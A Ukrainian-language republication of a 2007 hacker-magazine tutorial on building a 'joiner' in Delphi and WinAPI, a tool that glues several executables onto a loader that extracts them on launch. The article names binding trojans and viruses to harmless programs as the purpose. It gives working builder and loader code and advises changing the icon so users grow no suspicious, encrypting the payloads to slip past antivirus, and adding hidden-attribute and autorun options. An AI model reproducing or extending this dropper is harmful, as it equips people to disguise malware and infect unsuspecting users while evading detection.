<
  • Главная
Статьи

Найпростіший Joiner на Delphi і WinAPI

  1. Теорія найпростішого joiner'a
  2. можливості joiner'a
  3. всюдисущий API
  4. Кодима joiner
  5. приготування
  6. Програма-завантажувач
  7. Код програми-завантажувача
  8. тестування
  9. Що можна поліпшити
  10. висновок

Joiner - програма, якою користується більшість початківців хакерів. Склеїти з іграшкою який-небудь корисний файл - що може бути простіше і необхідніше? Та що там казати, варто зайти на який-небудь форум типу vingrad.ru або antichat.ru і можна зустріти купу топіків, в яких кодери слізно просять пояснити принцип написання подібних програм. Але, як правило, більш просунуті автори посилають таких программеров (ні, не туди) вивчати нудну теорію. В результаті у багатьох відпадає бажання творити. Ми не будемо нікуди тебе посилати, а розповімо і покажемо, як же все-таки створити таке «чудо».

Навіщо

Як відомо, joiner'и використовують для склеювання троянів / вірусів / корисного стаффа (нас з тобою цікавить тільки останнім, адже ми не якісь там злочинці) з будь-якої корисної і нешкідливою програмою. З цього випливає, що на підготовлений joiner'ом файл не повинні кричати благим матом антивіруси, інакше бідний користувач почне метушитися і знищить весь взвод ще при висадці. До речі кажучи, виробники антивірусів дуже не люблять подібні програми і з завидною регулярністю вносять їх імена в свої бази даних. А якщо joiner палится антивірусами, то користі від нього на три копійки.

Все паблік-Джойнер рано чи пізно потрапляють в антивірусні бази. Єдиний вихід - зробити joiner самому!

Теорія найпростішого joiner'a

Як працюють ці диво-програми? Насправді все не просто, а дуже просто. Структуру joiner'a можна представити таким чином:

  • програма-конструктор - збирає спеціальним чином виконуваний файл, записуючи програму-завантажувач, блок з інформацією і всі необхідні файли;
  • завантажувач - програма, яка буде завантажувати всі файли, записані в її тілі (пізніше я поясню докладніше, що мається на увазі під тілом).
  • Після запуску створеного програмою-конструктором файлу, завантажувач прочитає блок з інформацією, в якому є дані про всі прикріплених файлах, і потім буде по черзі витягати їх з свого тіла. Під тілом мається на увазі частина файлу програми-завантажувача. Говорячи ще більш простою мовою, все що прикріплюються файли ми будемо просто дописувати в кінець файлу програми-завантажувача. Щоб краще зрозуміти принцип дії, поглянь на структуру створюваного програмою-конструктором файлу:

  • Код програми-завантажувача. Саме він буде виконуватися в першу чергу.
  • Блок з інформацією. У цьому блоці буде міститися інформація про всі прикріплених файлах (розмір, ім'я, всілякі опції і т.д.).
  • Файли - все прикріплені файли.
  • можливості joiner'a

    Розповісти, як скріпити два файли, занадто просто, та й нецікаво. Тому я вирішив показати тобі, як можна написати програму, яка буде склеювати до 11 файлів і встановлювати для них різні опції. Під опціями я маю на увазі зміна поведінки файлів при розстикування з програмою-завантажувачем. Наприклад, непогано мати можливість завдання шляху для розпакування відразу в певну папку (наприклад, папку з Windows) або установки атрибута «прихований».

    всюдисущий API

    Перед тим як приступити до КОДІНГ, потрібно розглянути функції, які нам будуть потрібні (програмувати ми будемо в основному на WinAPI з метою скорочення розміру файлів):

    function CopyFile (lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOL): BOOL;

    Як видно з назви, ця функція призначена для копіювання файлів. Функції потрібно передати три параметри: lpExistingFileName - ім'я файлу, який буде копіюватися; lpNewFileName - ім'я для скопійованого файлу; bFailIfExists - прапор, що говорить про необхідність перезапису файлу в разі його існування.

    function CreateFile (lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;

    Функція визначена для створення / відкриття файлів / об'єктів. Після свого виконання функція поверне покажчик на відкритий / створений файл. Як параметри їй потрібно передати:

  • lpFileName - ім'я відкривається об'єкта. Як об'єкт може бути звичайний шлях до файлу, шлях в форматі UNC (для відкриття файлів, розташованих в мережі, звернення до пристроїв і т.д.).
  • dwDesiredAccess - тип доступу до об'єкта. Тут можна вказати GENERIC_READ (для читання) і GENERIC_WRITE (для запису). Крім цих значень, в параметрі можна просто вказати 0. У такому випадку легко отримати атрибути файлу.
  • dwShareMode - встановлює режим спільного доступу до файлу. Цей параметр приймає одне з таких значень: 0 - спільний доступ заборонений; FILE_SHARE_READ - доступ для читання; FILE_SHARE_WRITE - доступ для запису. Якщо необхідно встановити повний доступ, то можна просто скласти два значення (FILE_SHARE_READ + FILE_SHARE_WRITE).
  • lpSecurityAttributes - атрибути безпеки файлу. Вказавши в цьому параметрі nil, ми задаємо що відкривається об'єкту атрибути за замовчуванням.
  • dwCreationDistribution - спосіб відкриття файлу. Тобі є:
  • CREATE_NEW - створюється новий файл. Якщо створюваний файл існує, то відбувається помилка.
  • CREATE_ALWAYS - створюється новий файл. Тут навпаки: якщо файл існує, то він буде перезаписаний.
  • OPEN_EXISTING - відкривається існуючий файл. Якщо файлу не існує, виникає помилка.
  • OPEN_ALWAYS - відкривається існуючий файл. Якщо його немає, то він створюється.
  • dwFlagsAndAttributes - атрибути і прапори для відкриття об'єкта (прихований, системний і т.д.). Можуть бути:
  • FILE_ATTRIBUTE_ARCHIVE - архівний;
  • FILE_ATTRIBUTE_COMPRESSED - стиснений;
  • FILE_ATTRIBUTE_NORMAL - архівний, стиснений;
  • FILE_ATTRIBUTE_HIDDEN - прихований;
  • FILE_ATTRIBUTE_READONLY - тільки для читання;
  • FILE_ATTRIBUTE_SYSTEM - системний.
  • hTemplateFile - файл-шаблон, атрибути якого будуть використовуватися для відкриття.
  • Як відкривати / створювати файли, ми знаємо. Тепер непогано було б розібратися, як можна переміщатися по тілу файлу. Для цього в наборі Windows API є функція SetFilePointer.

    function SetFilePointer (hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall;
  • hFile - дескриптор файлу, наприклад, отриманий за допомогою CreateFile.
  • lDistanceToMove - кількість байт, на яке буде пересунуто поточна позиція курсора.
  • lpDistanceToMoveHigh - адреса старшого байта. Використовується при переміщенні в дуже великих файлах.
  • dwMoveMethod - спосіб переміщення по файлу. Доступно три способи: FILE_BEGIN - пересування від початку файлу; FILE_CURRENT - пересування від поточної позиції; FILE_END - від кінця файлу.
  • Після виконання SetFilePointer повертає молодший байт 64-розрядної позиції в файлі.

    function ReadFile (hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;

    Для читання з файлу в Windows передбачена функція ReadFile, для запису - WriteFile. У цих функцій схожі параметри:

  • hFile - дескриптор файлу;
  • Buffer - буфер, в який будуть записані прочитані (або з якого будуть записані) дані;
  • nNumberOfBytesToRead - кількість даних, які потрібно прочитати / записати;
  • lpNumberOfBytesRead - кількість фактично прочитаних / записаних даних;
  • lpOverlapped - покажчик на структуру типу OVERLAPPED.
  • Після успішного виконання функція повертає true. Попрацювавши з файлами, їх потрібно закрити. Для закриття файлів в запасі є функція CloseHandle. Єдине, що їй потрібно передати, - дескриптор відкритого файлу.

    Кодима joiner

    Як я вже говорив, нам доведеться написати дві програми: програму-конструктор і програму-завантажувач. Почнемо з програми-конструктора. Запускай Delphi і створюй порожній проект. Форму приведи до виду, представленому на малюнку.

    Скажу пару слів про призначення елементів управління на формі. У ListView1 будуть додаватися файли для склеювання. Всі файли будуть приклеюватися до першого в списку. Для додавання чергового файлу призначена кнопка «Додати». За її натискання буде викликатися OpenDialog. Про призначення кнопки «Склеїти», думаю, ти здогадаєшся сам :). CheckBox'амі можна встановлювати опції для будь-якого виділеного файлу. Зміни зберігаються після натискання кнопки «Встановити опції».

    приготування

    Перейди в редактор коду і оголоси наступний запис:

    FileInfRecord = record _filesize: array [0..10] of cardinal; _filename: array [0..10] of string [100]; _autorun: array [0..10] of boolean; _windir: array [0..10] of boolean; _hideAttr: array [0..10] of boolean; _hideRun: array [0..10] of boolean; _fileCount: cardinal; End;

    Пам'ятаєш, я розповідав тобі про блок з інформацією? Ось це він і є. У цьому блоці ми будемо зберігати імена (_fileName), розміри (_fileSize), опції всіх файлів, які будуть приліплені (максимум 11). У розділі оголошення глобальних змінних оголоси змінну _fileHeader типу FileInfRecord. Тепер створюй обробник події OnClick для кнопки «Склеїти» і переписуй в нього код з відповідною врізки.

    _distFile, _fromFile: THandle; _buff: array [0..1024] of Char; i: Integer; _temp, _temp2: cardinal; begin // Перевіряємо, а чи не забагато у нас файлів if ListView1.Items.Count> length (_fileHeader._filesize) then begin ShowMessage ( 'Занадто багато файлів'); Exit; end; if not SaveDialog1.Execute then Exit; // Копіюємо файл завантажувача CopyFile (pchar (extractFilePath (application.ExeName) + 'loader.exe'), pchar (SaveDialog1.FileName), true); Sleep (100); // Записуємо в структуру кількість файлів _fileHeader._fileCount: = ListView1.Items.Count; // По черзі обробляємо всі файли for i: = 0 to ListView1.Items.Count-1 do begin _fileHeader._filename [i]: = ListView1.Items.Item [i] .Caption; _fileHeader._filesize [i]: = GetFileSized (ListView1.Items.Item [I] .SubItems.Strings [0] + ListView1.Items.Item [I] .Caption); end; // Відкриваємо наш завантажувач _distFile: = CreateFile (pchar (SaveDialog1.FileName), GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0); // Переміщаємося в самий кінець SetFilePointer (_distFile, 0, nil, FILE_END); // Записуємо наш заголовок WriteFile (_distFile, _fileHeader, sizeOf (_fileHeader), _temp, nil); // По черзі записуємо всі файли for i: = 0 to ListView1.Items.Count-1 do begin _fromFile: = CreateFile (pchar (ListView1.Items.Item [i] .SubItems.Strings [0] + ListView1.Items.Item [i] .Caption), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0); repeat ReadFile (_fromFile, _buff, sizeOf (_buff), _temp, nil); WriteFile (_distFile, _buff, _temp, _temp2, nil); ZeroMemory (@_ buff, sizeOf (_buff)); until _temp <> 1025; CloseHandle (_fromFile); end; // Закриваємо файл CloseHandle (_distFile); ShowMessage ( 'Склеювання успішно завершилася!'); end;

    Відкинемо розгляд виклику діалогових вікон / збереження в нашому коді і перейдемо до найголовнішої частини. Насамперед нам потрібно скопіювати наш завантажувач в місце, яке користувач вибрав в діалозі збереження. Саме в цей самий файл ми і будемо записувати всі підготовлені файли. Після функції копіювання файлу (CopyFile) я викликаю процедуру Sleep, яка виконує затримку. Це потрібно для того, щоб наш завантажувач встиг скопіювати. Справа в тому, що функція CopyFile повертає результат до того, як файл фактично буде скопійований.

    Після того як файл завантажувача з'явиться в призначеному місці, приступимо до заповнення нашої структури. Для початку дізнаємося, скільки всього файлів ми будемо записувати. Оскільки файли, підготовлені для склеювання, зберігаються в ListView, дізнатися їх кількість можна, звернувшись до властивості Count. Після цього можна приступити до запису інформації в структуру. Як інформація нас буде цікавити ім'я і розмір файлу. Зверни увагу на те, як я отримую розмір файлу:

    _fileHeader._filesize [i]: = GetFileSized (ListView1.Items.Item [I] .SubItems.Strings [0] + ListView1.Items.Item [I] .Caption);

    Я використовую самопісний функцію GetFileSized, якою як параметр передається лише ім'я файлу, а вона повертає його розмір. Код цієї функції я розглядати не буду, оскільки в ньому немає нічого складного. До того ж ти завжди можеш звернутися до ісходнику прикладу, який чекає на тебе на диску.

    Структура заповнена, вся інформація про файлах отримана, значить, можна приступати до склеювання всіх файлів. Для цього я відкриваю файл програми-завантажувача за допомогою знайомої тобі CreateFile. Після успішного відкриття потрібно переміститися в самий кінець. У цьому мені допомагає функція SetFilePointer. Ти знаєш, що, діючи відповідно до викладеної вище теорії, спочатку необхідно записати блок з інформацією. Саме це і робимо:

    WriteFile (_distFile, _fileHeader, sizeOf (_fileHeader), _temp, nil);

    Записавши нашу структуру з необхідною інформацією, можна запускати цикл, в якому по черзі будуть відкриватися і записуватися в програму-завантажувач все підготовленікористувачем файли. Копіювання файлу в файл завантажувача реалізовано в циклі:

    repeat ReadFile (_fromFile, _buff, sizeOf (_buff), _temp, nil); WriteFile (_distFile, _buff, _temp, _temp2, nil); ZeroMemory (@_ buff, sizeOf (_buff)); until _temp <> 1025;

    Для прискорення копіювання читання файлу-джерела відбувається блоком. За один раз читається і записується рівно 1024 байти. Після запису чергової порції даних потрібно подбати про очищення пам'яті. У модулі Windows.pas для цього передбачена процедура ZeroMemory. Від нас вимагається лише передати їй два параметри: покажчик на буфер, який підлягає очищенню, і його розмір.

    На цьому місці напрошується висновок, що програма-конструктор готова. Але ж ми не розглянули процес виставлення опцій! Думаю, з ним у тебе вийде розібратися самостійно, ну а якщо буде важко - пиши мені. Розберемося разом!

    Програма-завантажувач

    Конструктор у нас є. Але ось біда: без програми-завантажувача він мало чим корисний, тому нам доведеться створити новий порожній проект і написати в ньому кілька рядків коду. Для програми-завантажувача форма нам не буде потрібно, тому відразу її удаляй. Взагалі, програма-завантажувач повинна мати мінімальний розмір, а значить, потрібно позбутися від усього зайвого. Видали з Uses всі модулі, залиш лише Windows і ShellAPI. Їх нам буде цілком достатньо. Опиши структуру FileInfRecord. Вона повинна виглядати точно так же, як і в програмі-конструкторі. Якщо ти покажеш різні розміри масивів або ще чого-небудь, то наш завантажувач буде неправильно працювати (точніше, не буде працювати зовсім).

    Створи константу mySize. У цій константі у нас буде зберігатися наш власний розмір, тобто розмір програми-завантажувача. На даному етапі ми його не знаємо, тому поки вказуємо 0. Код програми-завантажувача наведено у відповідній врізки. Для економії місця я вирізав з нього код, який відповідає за обробку опцій. Повний варіант ти, як завжди, можеш знайти на диску.

    Код програми-завантажувача

    VAR _fileDist, _fileSource: THandle; _fileHeader: FileInfRecord; i, j: cardinal; _buff: char; _temp: cardinal; BEGIN _fileSource: = Createfile (pchar (ParamStr (0)), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0); SetFilePointer (_fileSource, mySize, nil, FILE_BEGIN); ReadFile (_fileSource, _fileHeader, sizeOf (_fileHeader), _temp, nil); if _fileHeader._fileCount = 0 then Exit; for i: = 0 to _fileHeader._FileCount-1 do begin _fileDist: = CreateFile (pchar (string (_fileHeader._filename [i])), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_NEW, 0, 0); for j: = 1 to _fileHeader._filesize [i] do begin ReadFile (_fileSource, _buff, sizeOf (_buff), _temp, nil); WriteFile (_fileDist, _buff, sizeOf (_buff), _temp, nil); end; CloseHandle (_fileDist); Sleep (100); end; CloseHandle (_fileSource); END.

    Спочатку нам потрібно відкрити для читання файл програми-завантажувача, тобто самого себе. Після відкриття виконуємо зсув до адреси, з якого починається код нашого блоку з інформацій. Як його дізнатися? Дуже просто! Оскільки програма-конструктор записала структуру з інформацій в самий кінець програми-завантажувача, потрібно просто перейти в файлі на розмір файлу завантажувача. Цей розмір у нас буде визначено в оголошеної раніше константі. Позиціонування в файлі знову ж виконується за допомогою SetFilePointer. При переході на потрібну позицію стає можливим вважати структуру. А раз так, то після виконання «ReadFile (_fileSource, _fileHeader, sizeOf (_fileHeader), _temp, nil); »Вся наша структура буде зчитана. Ну а це значить, що ми володіємо всією необхідною інформацією для висмикування інших файлів. Код розбивки тіла завантажувача на файли схожий на код програми-конструктора, тому не будемо на ньому зупинятися. Остаточно дописавши код і прочитавши попередні рядки, скомпілюйте проект. Після завершення компіляції зайди в меню «Project -> Information» і зверни увагу на рядок File Size.

    У ній вказано кінцевий розмір exe нашого проекту. У мене він дорівнює 16384. Саме це число потрібно присвоїти нашій константі mySize. Після цього ще раз зберігай всі зміни в проекті і виконуй компіляцію. Все, наш joiner повністю готовий, а значить, пора переходити до тесту.

    тестування

    Перед тестом скопируй скомпільований файл завантажувача в папку, в якій у тебе лежить конструктор. Якщо ти пам'ятаєш, то саме в цій папці наш конструктор буде його шукати. Тепер спробуй запустити конструктор, додати кілька файлів і натиснути на кнопку «Склеїти». Подумавши пару секунд (час безпосередньо залежить від розміру обраних тобою файлів), програма радісно відрапортує тобі про завершення процесу склеювання і створить новий файл.

    У провіднику з'явився файл з ім'ям test. Це і є результат роботи програми. Після його запуску в цій же директорії виявляються всі прикріплені нами файли. Таким чином, програма пройшла тест-драйв.

    Що можна поліпшити

    У статті я розглянув найпростіший варіант joiner'а. Але ти не повинен на цьому зупинятися. Ось деякі ідеї, які також добре було б реалізувати в програмі такого типу:

  • Прибрати обмеження кількості додаються файлів.
  • Уможливити зміну іконки для кінцевого файлу, щоб не викликати зайвих підозр у користувача.
  • Розширити набір опцій. Ось тут є, де розгулятися. Щоб уявляти собі приблизно, що можна реалізувати, я раджу тобі скачати парочку joiner'ов і подивитися, які опції реалізовані там. Кілька посилань на такі програми ти побачиш в урізанні.
  • Зменшити розмір завантажувача. Це можна зробити як мінімум двома способами: по-перше, переписати програму на Асмі, а по-друге, оптимізувати мій варіант. Здавалося б, оптимізувати вже нікуди, але якщо ти почитаєш статтю «Надмалі додатки» від @dmin на сайті http://www.mashp.h10.ru , То у тебе можуть з'явитися деякі думки.
  • Вбудувати підтримку шифрування. Погодься, було б здорово, якщо все прикріплені файли шифрувалися. Таким чином, антивіруси завчасно не гарчали б на твій файлик.

    Реалізувати можливість упаковки файлів, що вкладаються. Чим менше буде кінцевий результат, тим краще.

    висновок

    Отже, сьогодні твій арсенал поповнився ще однією корисною програмою власного виробництва, і ти в черговий раз переконався, що немає нічого неможливого. Просто для досягнення будь-якої мети потрібен час і сили. На цій ноті я хочу попрощатися, удачі тобі в твоїх експериментах! Виникли питання або пропозиції? Пиши!

    Щоб зробити свій joiner крутіше, ніж у конкурентів, треба бути в курсі того, чого вони накрутили у себе. Joiner'ов в інеті греблю гати, ось найцікавіші:

  • MicroJoiner ( www.cobans.net ) - якісний joiner від нашого співвітчізніка. Він написаний повністю на Асмі, поширюється в исходниках і дуже добре працює. Раджу обов'язково його скачати і подивитися.
  • Супер клей ( www.bonza.narod.ru ) - ще один непоганий представник joiner'ов. Він володіє великим функціоналом, ніж MicroJoiner. Єдиний його мінус - розмір створеного файлу на порядок більше, ніж у MicroJoiner.
  • Стаття опублікована журналі "Хакер" (http://xakep.ru). Август 2007 р

    Посилання на опубліковану статтю сайту видання: http://goo.gl/OcFIKy

    Посилання на агентство журнал: http://goo.gl/smmfv6

    Вихідний код Joiner на Delphi

    Склеїти з іграшкою який-небудь корисний файл - що може бути простіше і необхідніше?
    Як його дізнатися?
    Виникли питання або пропозиції?


    Новости
    • Виртуальный хостинг

      Виртуальный хостинг. Возможности сервера распределяются в равной мере между всеми... 
      Читать полностью

    • Редизайн сайта

      Редизайн сайта – это полное либо частичное обновление дизайна существующего сайта.... 
      Читать полностью

    • Консалтинг, услуги контент-менеджера

      Сопровождение любых интернет ресурсов;- Знание HTML и CSS- Поиск и обновление контента;-... 
      Читать полностью

    • Трафик из соцсетей

      Сравнительно дешевый способ по сравнению с поисковым и контекстным видами раскрутки... 
      Читать полностью

    • Поисковая оптимизация

      Поисковая оптимизация (англ. search engine optimization, SEO) — поднятие позиций сайта в результатах... 
      Читать полностью